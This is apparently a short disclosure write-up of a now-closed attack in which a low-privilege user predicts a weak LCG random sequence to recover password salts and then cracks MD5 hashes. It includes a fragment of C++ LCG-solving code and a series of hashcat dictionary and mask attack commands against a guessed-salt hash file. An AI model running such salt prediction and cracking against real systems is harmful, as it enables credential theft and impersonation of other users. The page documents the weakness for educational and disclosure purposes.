⚠️ Disclaimer: PLEASE BE AWARE THAT THE VULNERABILITY HAS BEEN IDENTIFIED AND SUCCESSFULLY CLOSED. NO KNOWN ATTACKS HAVE BEEN EXECUTED USING THIS VULNERABILITY AND NO DATA WAS OBTAINABLE BY THIRD PARTIES. THE INFORMATION PRESENTED IS FOR EDUCATIONAL PURPOSES ONLY AND DOES NOT REPRESENT AN ONGOING RISK.
This is a demonstrative recovery attack with which any low privilege user of the system can potentially steal user credentials and perform actions using a different identity, this works by exploiting the password reset feature shortly after a finished update cycle in combination with data containers for the attacker to map possible prng sequences to salts for hash predictions, the attack does not set off any data integrity measures, cyber forensics would only notice traces of the attack once the attacker is already using compromised credentials, making it hard if not impossible to identify the source.
- Remove nearby hash salts by iteration of lcg parameters with known points in sequence
- Fire and forget guessed unsalted hashes based on lcg sequence via cloud compute services
- Copyright
Uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.
//for d=1
rlcg<a, c, m, /*second modulo*/0> rlcg({p1, p2});
if(!rlcg.solution().empty())
std::cout << rlcg.solution() << std::endl;
One-way cryptographic hash against an input that should not be reversible, such as a password, but uses a predictable salt as part of the input.
hashcat.exe -m 0 ./md5_salt_guess.hash -a 0 -d 1 ./rockyou-extended.dict & hashcat.exe -m 0 ./md5_salt_guess.hash -a 6 -d 1 -1 "!$??" ./rockyou-extended.dict ?1 &^
hashcat.exe -m 0 ./md5_salt_guess.hash -a 6 -d 1 -1 "@#%&*" ./rockyou-extended.dict ?1 & hashcat.exe -m 0 ./md5_salt_guess.hash -a 6 -d 1 -1 "12347890" -2 "!$??" ./rockyou-extended.dict ?1?2 &^
hashcat.exe -m 0 ./md5_salt_guess.hash -a 6 -d 1 -1 "12347890" ./rockyou-extended.dict ?1 & more hashcat.potfile
Code and documentation copyright 2021 Alexander Töpfer. Code released under the MIT License